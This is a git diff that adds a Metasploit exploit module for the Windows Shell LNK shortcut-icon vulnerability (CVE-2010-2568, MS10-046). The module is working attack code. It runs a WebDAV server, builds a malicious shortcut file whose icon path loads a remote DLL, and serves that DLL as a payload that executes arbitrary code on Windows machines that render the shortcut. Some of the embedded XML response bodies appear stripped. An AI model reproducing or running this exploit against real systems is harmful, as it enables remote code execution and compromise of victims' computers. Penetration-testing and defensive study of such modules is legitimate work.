diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb new file mode 100644 index 0000000000..8d13acb80a --- /dev/null +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -0,0 +1,456 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + # + # This module acts as an HTTP server + # + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Shell LNK Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the handling of Windows + Shortcut files (.LNK) that contain an icon resource pointing to a + malicious DLL. This module creates a WebDAV service that can be used + to run an arbitrary payload when accessed as a UNC path. + }, + 'Author' => + [ + 'hdm', # Module itself + 'jduck', # WebDAV implementation, UNCHOST var + 'B_H' # Clean LNK template + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['CVE', '2010-2568'], + ['OSVDB', '66387'], + ['MSB', 'MS10-046'], + ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 2048, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DisclosureDate' => 'Jul 16 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), + OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) + ], self.class) + + deregister_options('SSL', 'SSLVersion') # Just for now + end + + def on_request_uri(cli, request) + + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + print_error("Unexpected request method encountered: #{request.method}") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + + end + + def process_get(cli, request) + + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + webdav = "\\\\#{myhost}\\" + + if (request.uri =~ /\.dll$/i) + print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..." + return if ((p = regenerate_payload(cli)) == nil) + # Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/ + data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + if (request.uri =~ /\.lnk$/i) + print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..." + + data = generate_link("#{@exploit_unc}#{@exploit_dll}") + + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..." + resp = create_response(200, "OK") + + resp.body = %Q|| + + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") + headers = { + 'MS-Author-Via' => 'DAV', +# 'DASL' => '', +# 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, GET, PROPFIND', + 'Public' => 'OPTIONS, GET, PROPFIND' + } + resp = create_response(207, "Multi-Status") + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path =~ /\.dll$/i + # Response for the DLL + print_status("Sending DLL multistatus for #{path} ...") + body = %Q| + + +#{path}#{@exploit_dll} + + + +2010-07-19T20:29:42Z +#{rand(0x100000)+128000} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + +| + + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + return + end + + if path =~ /\.lnk$/i + # Response for the DLL + print_status("Sending DLL multistatus for #{path} ...") + body = %Q| + + +#{path}#{@exploit_lnk} + + + +2010-07-19T20:29:42Z +#{rand(0x100)+128} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +shortcut + +HTTP/1.1 200 OK + + + +| + + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + return + end + + if path !~ /\/$/ + + if path.index(".") + print_status("Sending 404 for #{path} ...") + resp = create_response(404, "Not Found") + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + else + print_status("Sending 301 for #{path} ...") + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status("Sending directory multistatus for #{path} ...") + body = %Q| + + + #{path} + + + + 2010-07-19T20:29:42Z + Mon, 19 Jul 2010 20:29:42 GMT + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + +| + + + subdirectory = %Q| + +#{path}#{Rex::Text.rand_text_alpha(6)}/ + + + +2010-07-19T20:29:42Z +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + + files = %Q| + +#{path}#{@exploit_dll} + + + +2010-07-19T20:29:42Z +#{rand(0x100000)+128000} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + + +#{path}#{@exploit_lnk} + + + +2010-07-19T20:29:42Z +#{rand(0x100)+128} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +shortcut + +HTTP/1.1 200 OK + + +| + if request["Depth"].to_i > 0 + if path.scan("/").length < 2 + body << subdirectory + else + body << files + end + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_link(unc) + uni_unc = unc.unpack("C*").pack("v*") + path = '' + path << [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ].pack("C*") + path << uni_unc + + # LinkHeader + ret = [ + 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ].pack('C*') + + idlist_data = '' + idlist_data << [0x12 + 2].pack('v') + idlist_data << [ + 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [0x12 + 2].pack('v') + idlist_data << [ + 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [path.length + 2].pack('v') + idlist_data << path + idlist_data << [0x00].pack('v') # TERMINAL WOO + + # LinkTargetIDList + ret << [idlist_data.length].pack('v') # IDListSize + ret << idlist_data + + # ExtraData blocks (none) + ret << [rand(4)].pack('V') + + # Patch in the LinkFlags + ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N') + ret + end + + def exploit + + unc = "\\\\" + if (datastore['UNCHOST']) + unc << datastore['UNCHOST'].dup + else + unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) + end + unc << "\\" + unc << rand_text_alpha(rand(8)+4) + unc << "\\" + + @exploit_unc = unc + @exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk" + @exploit_dll = rand_text_alpha(rand(8)+4) + ".dll" + + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' + end + + print_status("") + print_status("Send vulnerable clients to #{@exploit_unc}.") + print_status("Or, get clients to save and render the icon of http:///.lnk") + print_status("") + + super + end +end +